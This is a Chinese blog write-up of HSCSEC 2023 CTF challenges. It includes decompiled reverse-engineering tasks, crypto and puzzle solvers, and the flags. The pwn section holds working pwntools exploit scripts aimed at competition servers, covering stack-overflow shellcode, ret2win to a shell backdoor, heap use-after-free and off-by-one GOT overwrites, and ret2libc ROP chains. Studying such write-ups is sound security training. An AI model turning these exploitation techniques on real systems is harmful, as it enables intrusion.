当前位置: 首页 > news >正文

[HSCSEC 2023] rev,pwn,crypto,Ancient-MISC部分

比赛后有讲解,没赶上,前20比赛完1小时提交WP,谁会大半夜的起来写WP。

总的感觉pwn,crypto过于简单,rev有2个难的不会,其它不是我的方向都感觉过于难,一个都没作。

rev

DECOMPILEONEOONE

入门题,一个简单的运算

  v6[0] = 0x5C797E8971697066LL;v6[1] = 0x8D83497D7F6F7A3DLL;v6[2] = 0x949DA8758277A9A5LL;v7 = 0xB7954D7C;*(_QWORD *)s = 0LL;v9 = 0LL;v10 = 0LL;v11 = 0LL;v12 = 0LL;v13 = 0LL;v14 = 0LL;v15 = 0LL;v16 = 0LL;v17 = 0LL;v18 = 0LL;v19 = 0LL;v20 = 0;puts("give me your flag:");__isoc99_scanf("%s", s);if ( strlen(s) == 28 ){for ( i = 0; i <= 27; ++i ){s[i] += 3 * i + 1;s[i] ^= (_BYTE)i + 1;if ( (i & 1) != 0 )v4 = s[i] - i - 1;elsev4 = s[i] - i;s[i] = v4;if ( s[i] != *((_BYTE *)v6 + i) ){puts("that's a fake flag!\n");return 0;}}puts("congratulations!");return 0;}

换成python

from pwn import p64v6 = p64(0x5C797E8971697066) + p64(0x8D83497D7F6F7A3D) + p64(0x949DA8758277A9A5) + p64(0xB7954D7C)for i in range(28):for s in range(0x20,0x7f):v = sv+=3*i+1v^= i+1v-=i + (i&1) if v == v6[i]:print(chr(s), end='')#flag{reV3rSe_1s_sucH_hanD1e}

Whack-a-mole

这个有些难,到最后也没找到运算的逻辑。

先运行程序,是个windows窗口,里边有flag估计是点上就输出。但是点不上。

这是个啥也的程序不清楚,首先先找到入口。WinMain调用窗口执行pfnSubclass

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{unsigned int v4; // eaxWNDCLASSW WndClass; // [esp+10h] [ebp-48h] BYREFstruct tagMSG Msg; // [esp+38h] [ebp-20h] BYREFv4 = time64(0);srand(v4);WndClass.style = 0;WndClass.hIcon = 0;*(_QWORD *)&WndClass.cbClsExtra = 0i64;WndClass.lpszMenuName = 0;WndClass.lpszClassName = L"revme";WndClass.hInstance = hInstance;WndClass.hbrBackground = GetSysColorBrush(15);WndClass.lpfnWndProc = sub_401200;WndClass.hCursor = LoadCursorW(0, (LPCWSTR)0x7F00);RegisterClassW(&WndClass);CreateWindowExW(0, WndClass.lpszClassName, L"revme", 0x10CF0000u, 150, 150, 400, 300, 0, 0, hInstance, 0);SetWindowSubclass(hWnd, pfnSubclass, 0x190u, 0);while ( GetMessageW(&Msg, 0, 0, 0) ){TranslateMessage(&Msg);DispatchMessageW(&Msg);}return Msg.wParam;
}

在pfnSubclass里有个判断0x200,这里是按钮跳的控制。

RESULT __stdcall pfnSubclass(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam,UINT_PTR uIdSubclass,DWORD_PTR dwRefData)
{int v6; // ediint v7; // eaxif ( uMsg == 512 ){v6 = rand() % 150 + 50;v7 = rand();SetWindowPos(::hWnd, 0, v6, v7 % 150 + 50, 80, 25, 0);}return DefSubclassProc(hWnd, uMsg, wParam, lParam);
}

把这里的判断改掉让他不跳,点中后报错

"Oops,no flag...plz look carefully:("

拿到这个报错找到处理逻辑

LRESULT __stdcall sub_401200(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{HWND v4; // ebxLPARAM v5; // edi_DWORD *v6; // ebxchar *v7; // ecxchar *v8; // ediint v9; // eax_BYTE *v10; // esiint v11; // ecx_BYTE *v12; // ecxint v13; // edx_DWORD *v14; // ecxint v15; // ebxint v16; // edxchar v17; // albool v18; // zfchar *v19; // eax_DWORD *v20; // edichar *v21; // ebxint v22; // edxint v23; // esiint v24; // ecxchar *v25; // esiint v26; // edichar *v27; // esiFILE *v28; // eaxFILE *v29; // ediLONG WindowLongW; // eaxint v32; // [esp+Ch] [ebp-10h]int v33; // [esp+Ch] [ebp-10h]char *v34; // [esp+10h] [ebp-Ch]char *v35; // [esp+14h] [ebp-8h]const char *v36; // [esp+18h] [ebp-4h]v4 = hWnd;v5 = lParam;if ( Msg == 1 ){::hWnd = CreateWindowExW(0, L"Button", L"flag", 0x50000000u, 85, 150, 80, 25, hWnd, (HMENU)3, 0, 0);CreateWindowExW(0, L"Button", L"give up", 0x50000000u, 185, 150, 80, 25, hWnd, (HMENU)2, 0, 0);CreateWindowExW(0, L"Static", (LPCWSTR)"t", 0x50000000u, 85, 100, 300, 20, hWnd, (HMENU)1, 0, 0);WindowLongW = GetWindowLongW(hWnd, -16);SetWindowLongW(hWnd, -16, WindowLongW & 0xFFFEFFFF);return DefWindowProcW(v4, Msg, wParam, v5);}if ( Msg == 2 )goto LABEL_23;if ( Msg != 273 )return DefWindowProcW(v4, Msg, wParam, v5);if ( (unsigned __int16)wParam == 2 ){
LABEL_23:PostQuitMessage(0);return DefWindowProcW(v4, Msg, wParam, v5);}if ( (unsigned __int16)wParam == 3 ){if ( lParam == 3301 ){v6 = &unk_405390;v36 = "7dnaicms7skf0ws2t";v7 = "7skf0ws2t";v34 = (char *)&unk_405390;v35 = "7skf0ws2t";v8 = byte_403170;v32 = 9;do{v9 = *(_DWORD *)v7;v10 = v6;v6[1] = *((_DWORD *)v7 + 1);v11 = 8;*v6 = v9;do{*v10 = byte_403170[(unsigned __int8)*v10];++v10;--v11;}while ( v11 );sub_401110(v6);v12 = v6;v13 = 8;do{*v12++ ^= *v8++;--v13;}while ( v13 );v14 = v6;v15 = v36 - (const char *)v6;v16 = 8;do{v17 = *((_BYTE *)v14 + v15);v14 = (_DWORD *)((char *)v14 + 1);*((_BYTE *)v14 - 1) ^= v17;--v16;}while ( v16 );v18 = v32-- == 1;v7 = v34;v19 = v35;v35 = v34;v6 = v10;v36 = v19;v34 = v10;}while ( !v18 );v20 = &unk_405390;v33 = 4;v21 = (char *)&unk_4053D0;do{v18 = v33-- == 1;v20 += 2;v22 = *(v20 - 2);v21 -= 8;v23 = *(v20 - 1);v24 = *((_DWORD *)v21 + 3);*(v20 - 2) = *((_DWORD *)v21 + 2);*(v20 - 1) = v24;*((_DWORD *)v21 + 2) = v22;*((_DWORD *)v21 + 3) = v23;}while ( !v18 );v25 = (char *)&unk_405398;v26 = 7;do{sub_401110(v25);v25 += 8;--v26;}while ( v26 );sub_401050(&Source);sub_401050(&unk_405020);v27 = (char *)malloc(0x10u);strncpy(v27, &Source, 0x10u);MessageBoxW(hWnd, L"flag already saved to aaa.txt", L"GOOD JOB!!", 0);v28 = fopen("aaa.txt", L"w");v29 = v28;if ( !v28 ){MessageBoxW(hWnd, L"open file error", L"Error", 0);free(v27);exit(-1);}fwrite(v27, 1u, 0x10u, v28);fclose(v29);free(v27);v4 = hWnd;v5 = 3301;}else{MessageBoxW(hWnd, L"Oops,no flag...plz look carefully:(", L"Error", 0);}}return DefWindowProcW(v4, Msg, wParam, v5);
}

这里边有两个判断

第1个是49行的msg !=273 退出

第2个是59行的lParam == 3301 进入写flag

所以在这里patch一下程序,这里的200改为111

.text:004014C3 81 7D 0C 00 02 00 00          cmp     [ebp+uMsg], 200h

这里 74 (jz)改为75 (jnz) 让if反转

.text:0040124D 74 18                         jz      short loc_401267

然后运行程序会写flag.txt文件,不过这题有点特殊其它的都是用HSCSEC壳,这个用flag

w1n32_aPi_iS_FUn
flag{w1n32_aPi_iS_FUn}

Base secrets

估计又是C++啥的程序写的,变量巨长,视觉上增加难度。

void __noreturn base64::main::h8d09d41539d521ef()
{int v0; // eax_str v1; // raxcore::result::Result<usize,std::io::error::Error> v2; // [esp+0h] [ebp-D0h]___str_ v3; // [esp+4h] [ebp-CCh]___str_ v4; // [esp+4h] [ebp-CCh]___str_ v5; // [esp+4h] [ebp-CCh]__core::fmt::ArgumentV1_ v6; // [esp+Ch] [ebp-C4h]__core::fmt::ArgumentV1_ v7; // [esp+Ch] [ebp-C4h]__core::fmt::ArgumentV1_ v8; // [esp+Ch] [ebp-C4h]core::fmt::Arguments v9; // [esp+3Ch] [ebp-94h] BYREF__core::fmt::ArgumentV1_ args; // [esp+54h] [ebp-7Ch] BYREFalloc::string::String inputstr; // [esp+5Ch] [ebp-74h] BYREF_str secret; // [esp+68h] [ebp-68h] BYREFchar v13; // [esp+70h] [ebp-60h] BYREFint v14; // [esp+78h] [ebp-58h]alloc::string::String tstr; // [esp+7Ch] [ebp-54h] BYREFcore::fmt::Arguments v16; // [esp+88h] [ebp-48h] BYREFcore::fmt::ArgumentV1 v17; // [esp+A0h] [ebp-30h] BYREFcore::fmt::Arguments v18; // [esp+A8h] [ebp-28h] BYREFcore::fmt::ArgumentV1 v19; // [esp+C0h] [ebp-10h] BYREFargs = (__core::fmt::ArgumentV1_)core::fmt::ArgumentV1::new_display::h1ad73d91458110e6((_str *)&x);v3.data_ptr = (_str *)&pieces;v3.length = 2;v6.data_ptr = (core::fmt::ArgumentV1 *)&args;v6.length = 1;core::fmt::Arguments::new_v1::h798f53dc69339845(&v9, v3, v6);std::io::stdio::_print::hf063fbe3e71516fe();alloc::string::String::new::h007ebff4f83ba4cc(&inputstr);secret.data_ptr = (u8 *)"hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo= 1K";// base64的密文44字节secret.length = 44;std::io::stdio::stdin::h732159ffb928152a();v14 = v0;std::io::stdio::Stdin::read_line::h5c0cf1c7e8922086();*(_DWORD *)v2.gap0 = &v13;*(_DWORD *)&v2.gap0[4] = 4928728;core::result::Result$LT$T$C$E$GT$::unwrap::h5a9311bcc8369470(v2);v1 = _$LT$alloc..string..String$u20$as$u20$core..ops..deref..Deref$GT$::deref::h5b5b76767b35bbdc(&inputstr);base64::base64_encode::h366e735ee236a687(&tstr, v1);// base64编码if ( !_$LT$alloc..string..String$u20$as$u20$core..cmp..PartialEq$LT$$RF$str$GT$$GT$::eq::h68fb5c598021c6a9(&tstr,&secret) ){v19 = core::fmt::ArgumentV1::new_display::h1ad73d91458110e6((_str *)&off_4B3540);v8.data_ptr = &v19;v8.length = 1;v5.length = 2;v5.data_ptr = (_str *)&pieces;core::fmt::Arguments::new_v1::h798f53dc69339845(&v18, v5, v8);std::io::stdio::_print::hf063fbe3e71516fe();std::process::exit::h86e1d779ebfe0c3e();}v17 = core::fmt::ArgumentV1::new_display::h1ad73d91458110e6((_str *)&off_4B350C);v7.data_ptr = &v17;v7.length = 1;v4.length = 2;v4.data_ptr = (_str *)&pieces;core::fmt::Arguments::new_v1::h798f53dc69339845(&v16, v4, v7);std::io::stdio::_print::hf063fbe3e71516fe();std::process::exit::h86e1d779ebfe0c3e();
}

主程序里看到两个东西:

secret.data_ptr = (u8 *)"hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo= 1K";

这个应该是密文

base64::base64_encode::h366e735ee236a687(&tstr, v1);// base64编码

这个写着是base64估计就大概是base64变表,进到里边发现几个查表语句

memcpy(v37, &::self, sizeof(v37));          // &::self 码表

然后点到::self看下码表,果然是变表。

code    = '456789+-IJKLMNOPQRSTUVWXghijklmnYZabcdefopqrstuvwxyz0123ABCDEFGH='
b64code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
c = "hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo=" # ' 1K'
from base64 import *m = ''.join(b64code[code.index(v)] for v in c)
print(b64decode(m))
#flag{rUs7_n0_pr0b1EM_s0_yisey}

后边两个都无从下手,等官方的WP,官方说有。都一天了,估计还在写。

PWN

EZPWN

入门题,main调用了hacker,在hacker里调用mprotect将内存修改为可写可执行。然后有个写溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{hacker();return 0;
}
__int64 hacker()
{char buf[256]; // [rsp+0h] [rbp-110h] BYREFvoid *addr; // [rsp+100h] [rbp-10h]int v3; // [rsp+10Ch] [rbp-4h]v3 = getpagesize();addr = (void *)((unsigned __int64)buf2 & 0xFFFFFFFFFFFFF000LL);mprotect((void *)((unsigned __int64)buf2 & 0xFFFFFFFFFFFFF000LL), v3, 7);puts("input:");read(0, buf, 0x200uLL);strncpy(buf2, buf, 0x64uLL);printf("bye bye ~");return 0LL;
}

先把shellcode放在前边,后边利用溢出作个跳转。

from pwn import *p = remote('43.143.254.94', 10176)
#p = process('EZPWN')context(arch='amd64', log_level='debug')pay = asm(shellcraft.amd64.linux.sh()).ljust(0x110, b'\x90')+ flat(0x404800, 0x404080) #p.sendlineafter(b"input:", pay)
p.sendline(pay)p.interactive()#HSCSEC{71d13c5a-5102-4944-aa5c-7e6f23c264fd}

Morris II

有菜单但不是菜单题,程序很长长长长。硬着头皮看。

int __cdecl select_main()
{int iselect; // [rsp+Ch] [rbp-4h] BYREFputs(a0GoOut);printf(aChooseAnAction);__isoc99_scanf(&unk_402103, &iselect);        // %dwhile ( 1 ){switch ( iselect ){case 0:find_enemies();                         // confirm_input();  有溢出,溢出到后门break;case 1:dined();break;case 2:shop();                                 // shopbreak;case 3:work();                                 // 随机-degree +coinbreak;case 4:attribute();                            // 显示break;default:continue;}}
}
void __cdecl fight_system()
{unsigned int v0; // eaxint select; // [rsp+1Ch] [rbp-14h] BYREFint Player_fight; // [rsp+20h] [rbp-10h]int s; // [rsp+24h] [rbp-Ch]int w; // [rsp+28h] [rbp-8h]int Enemies_blood; // [rsp+2Ch] [rbp-4h]v0 = time(0LL);srand(v0);w = rand() % 3;s = rand() % 10;Player_fight = player_fight;Enemies_blood = enemies_blood[s];puts("\n******************************entered battle mode***************************************");printf(format, (unsigned int)player_blood);while ( player_blood > 0 && Enemies_blood > 0 && player_degree_of_hunger > 30 ){confirm_input();                            // 有溢出
......
}
int __cdecl confirm_input()
{char hero_name[16]; // [rsp+0h] [rbp-10h] BYREFputs("\ntype yor hero's name!:");read(0, hero_name, 0x64uLL);puts("confirmed.");return 0;
}
int __cdecl dontlookatme()
{system("/bin/sh");return 0;
}

发现第1个菜单处有溢出,而且有后门函数,这就简单了。其实有溢出,有没有后门都好办。

from pwn import *#p = process('Morris_II')
p = remote('43.143.254.94', 10365)context(arch='amd64', log_level= 'debug')p.sendlineafter(b'choose an action from below\xef\xbc\x9a', b'0')
#ret + dontlookatme()
p.sendlineafter(b"type yor hero's name!:\n", b'\x00'*0x18 + flat(0x401d04, 0x401236))p.interactive()
#HSCSEC{48cc6864-8ab7-48a5-9075-92b09a69bb3e}

EasyHeap

回到菜单题了。很标准的菜单,在free没有清指针有UAF,并且有后门。

void __cdecl __noreturn main(int a1)
{int v1; // [esp+0h] [ebp-14h]char s[4]; // [esp+4h] [ebp-10h] BYREFunsigned int v3; // [esp+8h] [ebp-Ch]int *v4; // [esp+Ch] [ebp-8h]v4 = &a1;v3 = __readgsdword(0x14u);setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 2, 0);while ( 1 ){while ( 1 ){sub_80495E8();memset(s, 0, sizeof(s));read(0, s, 4u);v1 = atoi(s);if ( v1 != 1 )break;m1_add();}if ( v1 == 2 ){m2_free();                                // UAF}else if ( v1 == 3 ){m3_show();}else{if ( v1 == 4 )exit(-1);puts("Invalid option.");}}
}
unsigned int m2_free()
{unsigned int result; // eaxint v1; // [esp+4h] [ebp-14h]char buf[4]; // [esp+8h] [ebp-10h] BYREFunsigned int v3; // [esp+Ch] [ebp-Ch]v3 = __readgsdword(0x14u);printf("Note id: ");read(0, buf, 4u);v1 = atoi(buf);if ( v1 < 0 || v1 >= dword_804C060 ){puts("Invalid id!");_exit(-1);}if ( dword_804C04C[v1] ){free(*(void **)(dword_804C04C[v1] + 4));free((void *)dword_804C04C[v1]);  //没有清指针puts("Deleted!");}result = v3 - __readgsdword(0x14u);if ( result )sub_8049790();return result;
}

块包含管理块和数据块,管理块有调用puts的函数指针和指向数据块的指针。

先建两个比8大的块,两个管理块是8,free后再建大小为8的块,这样数据块会使用0块的管理块,达到写管理块指针的目的。由于这里有后门,直接写后门就行。不然还有一点小麻烦,因为指针是自己还不是+4,所以这个还需要绕过。

from pwn import *#p = process('./easyHeap')
p = remote('43.143.254.94', 10044)context(arch='i386', log_level='debug')
def add(size,msg):p.sendlineafter(b"Input Option: ", b'1')p.sendlineafter(b"Size: ", str(size).encode())p.sendafter(b"Content: ", msg)def free(idx):p.sendlineafter(b"Input Option: ", b'2')p.sendlineafter(b"Note id: ", str(idx).encode())def show(idx):p.sendlineafter(b"Input Option: ", b'3')p.sendlineafter(b"Note id: ", str(idx).encode())add(0x10,b'A') #0
add(0x20,b'A') #1
free(0)
free(1)
add(0x8, flat(0x80495bd)) #到后门 system('cat /flag')show(0)
p.interactive()

Dead Star Weapon Management System

这名字为什么起了这么长。

第2个菜单题,漏洞在edit这里修改的长度多了1

unsigned __int64 m3_change()
{unsigned int v0; // eaxsigned int v1; // ebxchar buf[4]; // [rsp+4h] [rbp-14h] BYREFunsigned __int64 v4; // [rsp+8h] [rbp-10h]v4 = __readfsqword(0x28u);puts("weapon index:");read(0, buf, 4uLL);v0 = strtol(buf, 0LL, 10);if ( v0 > 4 ){puts("[!]index malform.");_exit(0);}v1 = v0;if ( *(&ptr + (int)v0) ){puts("your additional info:");read_n(*((void **)*(&ptr + v1) + 1), *(_QWORD *)*(&ptr + v1) + 1LL);// 参2长度,溢出puts("weapon changed.");}else{puts("[!]weapon not found.!");}return __readfsqword(0x28u) ^ v4;
}

块结构跟上一题类似,管理块有size和ptr指向数据块

在edit里会允许多写1字节。通过这个溢出可以修改下一块的长度,改大,当下一块free后会再建会形成重叠,达到修改指针目的。

先造一个这样的结构,

先建0x18的0和1,将1free在得到两个20的fastbin,再建0x28的1,2让1,2的头连在一起,这里利用漏洞修改head1的大小,然后将1释放,释放的块包含块2的头,再建1,大小为0x38的块就能用后部覆盖2块的头。

将2的头ptr改为指向got表,show(2)得到libc地址,再将got.free改为指向system

from pwn import *#p = process('./deathstar_admin')
p = remote('43.143.254.94', 10689)elf = ELF('./deathstar_admin')
libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu10-amd64/libc6_2.23-0ubuntu10_amd64.so')context(arch='amd64', log_level='debug')def add(size,msg):p.sendlineafter(b"[?]choose an action:\n" ,b'1')p.sendlineafter(b"weapon length:\n", str(size).encode())p.sendafter(b"weapon detail:\n", msg)def show(idx):p.sendlineafter(b"[?]choose an action:\n" ,b'2')p.sendlineafter(b"weapon index:\n", str(idx).encode())def edit(idx, msg):p.sendlineafter(b"[?]choose an action:\n" ,b'3')p.sendlineafter(b"weapon index:\n", str(idx).encode())p.sendafter(b"your additional info:\n", msg)     #off_by_onedef free(idx):p.sendlineafter(b"[?]choose an action:\n" ,b'4')p.sendlineafter(b"weapon index:\n", str(idx).encode())add(0x18,b'A')
add(0x18,b'A') #1
free(1)
add(0x28,b'B') #1
add(0x28,b'C') #2 save
edit(0, b'A'*(0x18+1)) #size改为 0x41
free(1)
add(0x38, b'/bin/sh\x00'+b'A'*0x10 + flat(0x21, 8, elf.got['free'])) #1head+2head
show(2)
p.recvuntil(b'info:')libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['free']
print('libc:', hex(libc.address))edit(2, p64(libc.sym['system']))
free(1)
p.interactive()
#HSCSEC{4bf9597e-e58b-4485-99f9-71d05c0f5d8a}

Safe Program

最后一个pwn,感觉这题个头太小。

__int64 __fastcall main(int a1, char **a2, char **a3)
{__int64 v4[9]; // [rsp+0h] [rbp-50h] BYREF__int16 v5; // [rsp+48h] [rbp-8h]char v6; // [rsp+4Ah] [rbp-6h]setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);memset(v4, 0, sizeof(v4));v5 = 0;v6 = 0;puts("i am a simple repeater with no way to exploit.\n");puts("you can talk to me now:\n");sub_4011D6(v4);return 0LL;
}
ssize_t __fastcall sub_4011D6(void *a1)
{char buf[127]; // [rsp+10h] [rbp-80h] BYREFchar v3; // [rsp+8Fh] [rbp-1h]sleep(3u);v3 = 0;setbuf(stdin, buf);memcpy(a1, buf, v3);return read(0, buf, 0x16DuLL);
}

就是一个溢出,别的什么都没有。

from pwn import *#p = process('./Safe_Program')
p = remote('43.143.254.94', 10972)context(arch='amd64', log_level= 'debug')
elf = ELF('./Safe_Program')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')pop_rdi = 0x0000000000401393 # pop rdi ; ret
bss = 0x404800sleep(3)
p.sendafter(b"you can talk to me now:\n\n", flat(b'\x00'*0x80,bss, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x4011d6))libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00'))  - libc.sym['puts']p.send(flat(b'\x00'*0x80,bss, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'], 0x4011d6))p.interactive()

Ancient-MISC

两个MISC其实都不会,赛后看了群里说的WP,感觉有点意思,在这里存一下。

Deduced gossip

第一题是八卦,但群里说是九宫八卦,脑子没转到那。这是洛书九宫与八卦的对应图

这样把给的东西转码就是9进制(1转为0,... 9转成8)

原题

☲☵ ☷☵☳ ☶空 ☷☵☳ ☶☱ ☶空 ☷空☱ ☶空 ☷☳☰ ☷☳☱ ☷☴☳ ☷☳☳ ☷☴☶ ☷☳☳ ☷☷☰ ☷☳空 ☰☴ ☷☴☶ ☷☴☶ ☷☴空 ☷空☲

转码程序,刚开始不知道对应关系,用flag头猜的,最后乾和巽猜一下也行。

def k9(n):k=''while n>0:k=str(n%9)+k n//=9return k for v in b'HSCSEC{}':print(str(k9(v)), end=',')
#80,102,74,102,76,74,146,148,a = "80,102,74,102,76,74,146,74,125,126,132,122,137,122,115,124,53,137,137,134,148"
print(''.join([chr(int(v,9)) for v in a.split(',')]))
#HSCSEC{Chinese_g0ssp}
#HSCSEC{Chinese_g0ssip} 提交加i

Watch the sky at night

第二个以为是28进制,怎么也没转出来。后来WP说是4进制,恍然大悟。东西南北四方七宿各为一个数字就成了4进制,4个正好是一个字符。

斗木獬角木蛟奎木狼亢金龙 牛金牛女土蝠氐土貉井木犴
虚日鼠房日兔心月狐鬼金羊 危月燕室火猪尾火虎柳土獐
壁水貐箕水豹斗木獬牛金牛 女土蝠角木蛟亢金龙星日马
虚日鼠张月鹿娄金狗翼火蛇 危月燕氐土貉房日兔轸水蚓
室火猪心月狐井木犴胃土雉 壁水貐斗木獬鬼金羊柳土獐
牛金牛尾火虎箕水豹女土蝠 虚日鼠昴日鸡柳土獐毕月乌
危月燕觜火猴角木蛟星日马 室火猪参水猿奎木狼壁水貐
斗木獬娄金狗牛金牛女土蝠 虚日鼠胃土雉张月鹿昴日鸡
危月燕翼火蛇室火猪亢金龙 壁水貐斗木獬轸水蚓井木犴
牛金牛氐土貉房日兔女土蝠 虚日鼠危月燕心月狐尾火虎
室火猪鬼金羊柳土獐壁水貐

今天这是咋了,写一点菜单就没了。发布好几次。4个符号对应哪个数字再爆破。通过头也可以定。

a = '''
斗木獬角木蛟奎木狼亢金龙 牛金牛女土蝠氐土貉井木犴
虚日鼠房日兔心月狐鬼金羊 危月燕室火猪尾火虎柳土獐
壁水貐箕水豹斗木獬牛金牛 女土蝠角木蛟亢金龙星日马
虚日鼠张月鹿娄金狗翼火蛇 危月燕氐土貉房日兔轸水蚓
室火猪心月狐井木犴胃土雉 壁水貐斗木獬鬼金羊柳土獐
牛金牛尾火虎箕水豹女土蝠 虚日鼠昴日鸡柳土獐毕月乌
危月燕觜火猴角木蛟星日马 室火猪参水猿奎木狼壁水貐
斗木獬娄金狗牛金牛女土蝠 虚日鼠胃土雉张月鹿昴日鸡
危月燕翼火蛇室火猪亢金龙 壁水貐斗木獬轸水蚓井木犴
牛金牛氐土貉房日兔女土蝠 虚日鼠危月燕心月狐尾火虎
室火猪鬼金羊柳土獐壁水貐'''
#应为 壁水獝
dic = {
'E':['角木蛟','亢金龙','氐土貉','房日兔','心月狐','尾火虎','箕水豹'],
'S':['井木犴','鬼金羊','柳土獐','星日马','张月鹿','翼火蛇','轸水蚓'],
'W':['奎木狼','娄金狗','胃土雉','昴日鸡','毕月乌','觜火猴','参水猿'],
'N':['斗木獬','牛金牛','女土蝠','虚日鼠','危月燕','室火猪','壁水貐']}f = ''
a = a.replace('\r\n','').replace(' ','').replace('\n','')
for i in range(0,len(a),3):v = a[i:i+3]for j in dic:if v in dic[j]:f+=jfrom itertools import permutations
num = '0123'
for v in permutations(num,4):tmp = f.replace('N',v[0]).replace('S',v[1]).replace('W',v[2]).replace('E',v[3])flag = ''.join([chr(int(tmp[m:m+4], 4)) for m in range(0,len(tmp),4)])if 'HSCSEC{' in flag:print(flag)
#HSCSEC{CN_Ancient_AP} 

Crypto

EZRSA

这个就都比较简单了。

from flag import mp = getPrime(1024)
q = getPrime(1024)
n = p * q
print('n =',n)
e = 0x10001
M = m * e * 1 * 2022 * p
c = pow(M,e,n)
print('c =',c)

显然M有因子p,n也有 c = M^e - kn 所以c 也有,gcd(c,n)就能得到p,由于m一般很小m*2022*e*p不会大于n,所以后边就直接除。

from Crypto.Util.number import *
from math import gcd
import gmpy2e = 0x10001
n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849
c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411
p = gcd(c,n)
q = n//p
d = gmpy2.invert(e, (p-1)*(q-1))M = pow(c,d,n)m = M//2022//e//pflag = long_to_bytes(m)
print(flag)   
#flag{3e5e2789a93a80615cc35edbff397c05}
#HSCSEC{3e5e2789a93a80615cc35edbff397c05}    

Operator

这题没弄清楚出题是什么意思,就是个除法,直接除

#!/bin/python3
from Crypto.Util.number import bytes_to_long, getPrimeFLAG = "*******************MASK****************"# print(FLAG)
number1 = getPrime(512)
number2 = getPrime(1024)
print(number1)
result = FLAG * number1 % number2
print(result)
Output:
n1 = 11488359375916816818731868252559119400126174593041608170883818546254791846479664455120194350355087017477744828351806157930199157462913063513512421460678471
res = 1890846045246997191702622225497063073251667816125412875121879991742654650976309481716690792328873189601779812108551290078049710826355501933349874438201643986975141068179879506727213209273645848165732801667704040761771bytes.fromhex(hex(res//n1)[2:])
#flag{qMmZqWvmj70bBsCfmVLT}
#HSCSEC{qMmZqWvmj70bBsCfmVLT}

EZVC

感觉回到逆向了。明显都是逆向的内容。正好晚上打算睡觉的时候上的新题,直接弄个一血,然后睡个好觉。

import flag
alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
key = 'HSC'
assert flag.startswith('HSCSEC{')
flag_num_list = []
c = []
for item in flag:flag_num_list.append(alphabet.find(item) + 1)
key_num = alphabet.find(key) + 1   #0
for i in flag_num_list:m = (i + key_num) % 94 - 1if m == 0:c.append("□") #e2 96 a1   0x25a1c.append(alphabet[m-1:m])
print("c = {}".format(''.join(c)))
alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
c = 'GRBRDB`jg10ij2g01i,g201gi,2gi2,012igaigagi|'f1 = [alphabet.find(v)+1 for v in c]
f2 = [v+1-i for i,v in enumerate(f1)]
f3 = [alphabet[v-1] for v in f2]
f4 = [alphabet[(alphabet.find(v)+i)%94] for i,v in enumerate(f3)]
print(''.join(f4))
#HSCSEC{kh21jk3h12j-h312hj-3hj3-123jhbjhbhj}

相关文章:

[HSCSEC 2023] rev,pwn,crypto,Ancient-MISC部分

比赛后有讲解&#xff0c;没赶上&#xff0c;前20比赛完1小时提交WP&#xff0c;谁会大半夜的起来写WP。总的感觉pwn,crypto过于简单&#xff0c;rev有2个难的不会&#xff0c;其它不是我的方向都感觉过于难&#xff0c;一个都没作。revDECOMPILEONEOONE入门题&#xff0c;一个…...

SpringBoot 接入 Spark

本文主要介绍 SpringBoot 与 Spark 如何对接&#xff0c;具体使用可以参考文章 SpringBoot 使用 Spark pom 文件添加 maven 依赖 spark-core&#xff1a;spark 的核心库&#xff0c;如&#xff1a;SparkConfspark-sql&#xff1a;spark 的 sql 库&#xff0c;如&#xff1a;s…...

在线支付系列【23】支付宝开放平台产品介绍

有道无术&#xff0c;术尚可求&#xff0c;有术无道&#xff0c;止于术。 文章目录前言支付产品App 支付手机网站支付电脑网站支付新当面资金授权当面付营销产品营销活动送红包会员产品App 支付宝登录人脸认证信用产品芝麻 GO芝麻先享芝麻免押芝麻工作证安全产品交易安全防护其…...

Python绝对路径和相对路径详解

在介绍绝对路径和相对路径之前&#xff0c;先要了解一下什么是当前工作目录。什么是当前工作目录每个运行在计算机上的程序&#xff0c;都有一个“当前工作目录”&#xff08;或 cwd&#xff09;。所有没有从根文件夹开始的文件名或路径&#xff0c;都假定在当前工作目录下。注…...

基于多进程的并发编程

